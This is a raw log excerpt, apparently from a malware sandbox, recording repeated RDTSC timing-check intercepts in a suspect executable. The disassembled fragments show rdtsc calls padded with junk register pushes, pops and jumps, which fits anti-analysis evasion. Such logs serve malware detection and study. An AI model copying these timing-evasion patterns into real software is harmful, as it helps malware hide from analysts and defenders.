Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 588580 second address: 588586 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 588586 second address: 588590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 588750 second address: 588754 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 588754 second address: 58875A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 58875A second address: 588768 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAA08D7CA2Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 588768 second address: 58876C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 588D2E second address: 588D39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 588D39 second address: 588D3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 588D3D second address: 588D45 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 588D45 second address: 588D51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FAA08929776h 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 588EE7 second address: 588EFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FAA08D7CA2Dh 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 588EFD second address: 588F01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 588F01 second address: 588F37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007FAA08D7CA2Eh 0x0000000f jmp 00007FAA08D7CA34h 0x00000014 jno 00007FAA08D7CA26h 0x0000001a popad 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 588F37 second address: 588F3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 58B46D second address: 58B48E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA08D7CA32h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c je 00007FAA08D7CA26h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5080C7 second address: 5080CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 597CA2 second address: 597CAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FAA08D7CA26h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 597E42 second address: 597E5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnl 00007FAA08929776h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c je 00007FAA0892977Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5983A4 second address: 5983B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 jmp 00007FAA08D7CA2Bh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5983B8 second address: 5983C2 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FAA08929776h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5983C2 second address: 5983F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FAA08D7CA37h 0x0000000b pushad 0x0000000c jmp 00007FAA08D7CA2Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5983F0 second address: 598419 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FAA08929776h 0x0000000a popad 0x0000000b popad 0x0000000c push ebx 0x0000000d push esi 0x0000000e push eax 0x0000000f pop eax 0x00000010 jmp 00007FAA08929782h 0x00000015 pop esi 0x00000016 push eax 0x00000017 push edx 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 598419 second address: 59841D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 598FFA second address: 598FFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 598FFE second address: 599019 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jnl 00007FAA08D7CA26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d jo 00007FAA08D7CA41h 0x00000013 push eax 0x00000014 push edx 0x00000015 jp 00007FAA08D7CA26h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 59782B second address: 597832 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 597832 second address: 597866 instructions: 0x00000000 rdtsc 0x00000002 js 00007FAA08D7CA37h 0x00000008 jmp 00007FAA08D7CA2Fh 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FAA08D7CA39h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 597866 second address: 597873 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 597873 second address: 597877 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 59C426 second address: 59C42C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 59C42C second address: 59C432 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 59C432 second address: 59C438 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 59C438 second address: 59C43F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 59C43F second address: 59C445 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 59C445 second address: 59C44B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 59C44B second address: 59C462 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FAA0892977Eh 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 59BDFA second address: 59BE00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 59BE00 second address: 59BE0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 59BE0A second address: 59BE15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 59BE15 second address: 59BE19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 59BE19 second address: 59BE3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a jno 00007FAA08D7CA35h 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 59C105 second address: 59C109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 59C109 second address: 59C119 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FAA08D7CA26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 59C119 second address: 59C11D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 59C11D second address: 59C12A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 59E474 second address: 59E4A2 instructions: 0x00000000 rdtsc 0x00000002 je 00007FAA08929776h 0x00000008 jno 00007FAA08929776h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FAA08929788h 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 59E4A2 second address: 59E4B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA08D7CA30h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 59E4B6 second address: 59E4BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 59E5FC second address: 59E61E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 js 00007FAA08D7CA26h 0x0000000c jmp 00007FAA08D7CA31h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 59E61E second address: 59E624 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 59E624 second address: 59E62E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FAA08D7CA26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5A4D0E second address: 5A4D12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5A4D12 second address: 5A4D18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5A37ED second address: 5A37F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5A3ED5 second address: 5A3EF8 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FAA08D7CA2Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c jne 00007FAA08D7CA26h 0x00000012 pop eax 0x00000013 jg 00007FAA08D7CA32h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5A3EF8 second address: 5A3EFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5A7334 second address: 5A735B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push edx 0x00000006 pop edx 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FAA08D7CA37h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5A735B second address: 5A735F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5A735F second address: 5A737A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA08D7CA35h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5A74C6 second address: 5A74D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FAA08929776h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5A74D0 second address: 5A74D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5A74D4 second address: 5A74F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 ja 00007FAA08929776h 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 pop eax 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 push edi 0x00000018 pop edi 0x00000019 jbe 00007FAA08929776h 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5A74F4 second address: 5A7508 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA08D7CA2Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5AB939 second address: 5AB93D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5AB93D second address: 5AB945 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5AB945 second address: 5AB964 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FAA08929786h 0x00000008 pop esi 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5AADF9 second address: 5AADFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5AB0ED second address: 5AB10B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA08929789h 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5B2358 second address: 5B2365 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push edi 0x00000007 pop edi 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5B248F second address: 5B2495 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5B2495 second address: 5B249F instructions: 0x00000000 rdtsc 0x00000002 jo 00007FAA08D7CA26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5B249F second address: 5B24C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jns 00007FAA0892977Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FAA0892977Eh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5B30BD second address: 5B30C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5B30C1 second address: 5B30C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5B30C6 second address: 5B30E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FAA08D7CA26h 0x0000000a jmp 00007FAA08D7CA2Eh 0x0000000f popad 0x00000010 pushad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5B30E4 second address: 5B30EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5B33C1 second address: 5B33C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5B33C8 second address: 5B33CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5B33CE second address: 5B33D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5B3700 second address: 5B3723 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jns 00007FAA08929776h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 jmp 00007FAA0892977Dh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5B3723 second address: 5B3737 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007FAA08D7CA26h 0x0000000e jbe 00007FAA08D7CA26h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 50D08E second address: 50D094 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 50D094 second address: 50D09B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5BBDE6 second address: 5BBDEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5BC079 second address: 5BC07F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5C3CC5 second address: 5C3CFD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jp 00007FAA08929776h 0x00000009 je 00007FAA08929776h 0x0000000f pop edi 0x00000010 pushad 0x00000011 jmp 00007FAA0892977Fh 0x00000016 jmp 00007FAA08929786h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5C3E47 second address: 5C3E4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5C3E4D second address: 5C3E51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5C3E51 second address: 5C3E5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5C4186 second address: 5C418A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5C45B8 second address: 5C45BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5C56CC second address: 5C56D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5CAFBD second address: 5CAFC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5CAFC3 second address: 5CAFC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5CAFC7 second address: 5CAFF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007FAA08D7CA26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FAA08D7CA32h 0x00000012 jmp 00007FAA08D7CA2Dh 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push edx 0x0000001b pop edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5CAFF8 second address: 5CAFFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
